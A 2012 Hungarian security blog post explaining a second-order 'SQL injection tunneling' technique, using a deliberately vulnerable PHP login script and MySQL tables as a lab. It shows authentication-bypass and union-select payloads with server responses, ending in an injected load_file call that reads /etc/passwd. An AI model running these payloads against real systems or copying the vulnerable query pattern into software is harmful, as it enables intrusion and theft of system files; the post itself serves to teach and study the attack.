SQL injection tunneling

2012 január 20 - admin

 A Niobium Attack Research volt olyan kedves, és megosztott velem (és veletek, vagyis velünk ;) egy érdekes ötletet a vak SQL injection támadások kiterjesztésére, a vakság “meggyógyítására”. Az alább olvasható leírás az ő leírásuk általam megszerkesztett változata: 

Az alant elterülő – megtörtént eset alapján összeállított – PoC alapból PHP blind injectet tesz lehetővé, de kis reszeléssel kihozható belőle közvetlen adatolvasás is:

$conn = mysql_connect('127.0.0.1','root','') or die('connfail');
mysql_select_db('teszt', $conn) or die('selectdbfail');
$res = mysql_query('SELECT `id` FROM `auth` WHERE `username`=\''.
    $_POST['username'].'\' AND `password`= \''.md5($_POST['password']).
    '\'', $conn) or die(mysql_error($conn));
if(mysql_num_rows($res) == 0)
{
    die('loginfail');
}
else
{
    list($id) = mysql_fetch_array($res);
    $res = mysql_query('SELECT `realname`,`email` FROM '.
        '`userdata` WHERE `id`='.$id, $conn) or die(mysql_error($conn));
    list($realname, $email) = mysql_fetch_array($res);
    print "Hello $realname ($email)";
}

Emellé létrehozzuk a táblákat:

mysql> create table auth(id int(4) primary key not null auto_increment,
    -> username varchar(16), password varchar(32));
Query OK, 0 rows affected (0.01 sec)
mysql> create table userdata (id int(4), realname varchar(64),
    -> email varchar(128));
Query OK, 0 rows affected (0.02 sec)
mysql> insert into auth values ('', 'johndoe', md5('asdfghjkl123'));
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> insert into userdata values('1', 'John Doe', 'doe@john.com');
Query OK, 1 row affected (0.00 sec)

Nézzük mire mit kapunk:

>> username=johndoe&password=asdfghjkl123
<< Hello John Doe (doe@john.com)

Sikertelen login:

>> username=x&password=x
<< loginfail

SQL injection próba:
>> username=’&password=x
<< You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '9dd4e461268c8034f5c8564e155c67a6'' at line 1
Tiszta, nézzünk meg egy autentikáció megkerülést:
>> username=’ or 1 — -
<< Hello John Doe (doe@john.com)
Ez is működik, akkor most próbáljunk valami szokatlant:
>> username=noSuchUser’ union select -1 — -&password=x
<< Hello ()
A felhasználói adatok nem találhatók, mivel nincs -1-es ID a másik táblában.
>> username=noSuchUser’ union select x — -&password=x
<< Unknown column 'x' in 'field list'
Az auth táblában tényleg nincs x nevű mező, hozzáadunk pár aposztrófot:
>> username=noSuchUser’ union select ‘x’ — -&password=x
<< Unknown column 'x' in 'where clause'
Na, ez már a másik query! És itt a lényeg: tetszőleges stringet tudunk az első queryből SELECT-elni, amit a másodikban felhasználunk, vagyis a második lekérdezést az elsőn keresztül injektáljuk. Ezt nézzétek:
>> username=noSuchUser’ union select ’0 union select load_file(“/etc/passwd”),1 ‘ — -&password=x
<< Hello root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync [ ... ]

 

Megosztom Facebookon!
Megosztom iWiWen!
Megosztom Twitteren!
Megosztom Google Buzzon!
Megosztom Google Readeren!
Megosztom Tumblren!


Szólj hozzá, vagy olvass bővebben a témáról itt: BuheraBlog

Szólj hozzá!

Ha az eredeti cikkhez nem lehet, itt megteheted!